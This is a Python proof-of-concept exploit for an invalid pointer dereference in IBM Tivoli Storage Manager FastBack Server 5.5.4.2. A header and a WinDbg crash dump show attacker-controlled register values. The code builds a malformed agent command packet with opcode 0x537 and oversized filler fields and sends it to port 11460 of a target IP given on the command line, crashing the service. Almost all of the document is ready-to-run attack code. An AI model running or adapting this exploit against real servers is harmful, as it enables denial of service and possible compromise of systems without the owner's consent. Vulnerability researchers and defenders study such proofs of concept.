#!/usr/bin/python
#
################################################################################
#
# Title: IBM Tivoli Storage Manager FastBack Server 5.5.4.2
# Invalid Pointer Dereference
# Date: 14 December 2015
# Author: Gianni Gnesa (gnix)
#
# Vendor Homepage: http://www.ibm.com/
# Software Name: IBM Tivoli Storage Manager FastBack
# Software Version: 5.5.4.2 (x86)
# Software Link: - Go to https://www-01.ibm.com/marketing/iwm/tnd/search.jsp?pn=Tivoli+Storage+Manager
# - Select "IBM Tivoli Storage Manager FastBack Try-and-Buy"
# (Version 5.5.4.2, Size: 120.7 MB)
#
# Tested on: Windows 7 Professional (x86)
#
################################################################################
#
# Crash:
# ======
#
# (f60.654): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=41414141 ebx=01bf4fb8 ecx=41414141 edx=41414141 esi=01bf4fb8 edi=00000000
# eip=0063d84a esp=01dce0c8 ebp=01dce0cc iopl=0 nv up ei pl nz na pe nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
# FastBackServer!CLocation::GetLocationParams+0xa:
# 0063d84a 8b4004 mov eax,dword ptr [eax+4] ds:0023:41414145=????????
#
################################################################################
import sys
import time
import socket
from struct import pack
def create_pkt(opcode, p1="", p2="", p3=""):
# psAgentCommand (0x30 bytes)
buf = "\x44" * 0xC
buf+= pack("<L", opcode) # opcode
buf+= pack("<i", 0x0) # 1st memcpy: offset (in psCommandBuffer.data) for Src field
buf+= pack("<i", len(p1)) # 1st memcpy: size field
buf+= pack("<i", len(p1)) # 2nd memcpy: offset (in psCommandBuffer.data) for Src field
buf+= pack("<i", len(p2)) # 2nd memcpy: size field
buf+= pack("<i", len(p1) + len(p2)) # 3rd memcpy: offset (in psCommandBuffer.data) for Src field
buf+= pack("<i", len(p3)) # 3rd memcpy: size field
buf+= "\x44\x44\x44\x44"
buf+= "\x44\x44\x44\x44"
# psCommandBuffer
buf+= p1
buf+= p2
buf+= p3
# buf len - 4 because the packet length is not included
buf = pack(">i", len(buf)-4) + buf
return buf
def main():
if len(sys.argv) != 2:
print "Usage: %s <ip_address>\n" % sys.argv[0]
sys.exit(1)
server = sys.argv[1]
port = 11460
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
pkt = create_pkt( opcode = 0x537,
p1 = "A" * 24000,
p2 = "B" * 24000,
p3 = "C" * 1000 )
s.send(pkt)
s.close()
print "[+] Packet sent."
sys.exit(0)
if __name__ == "__main__":
main()
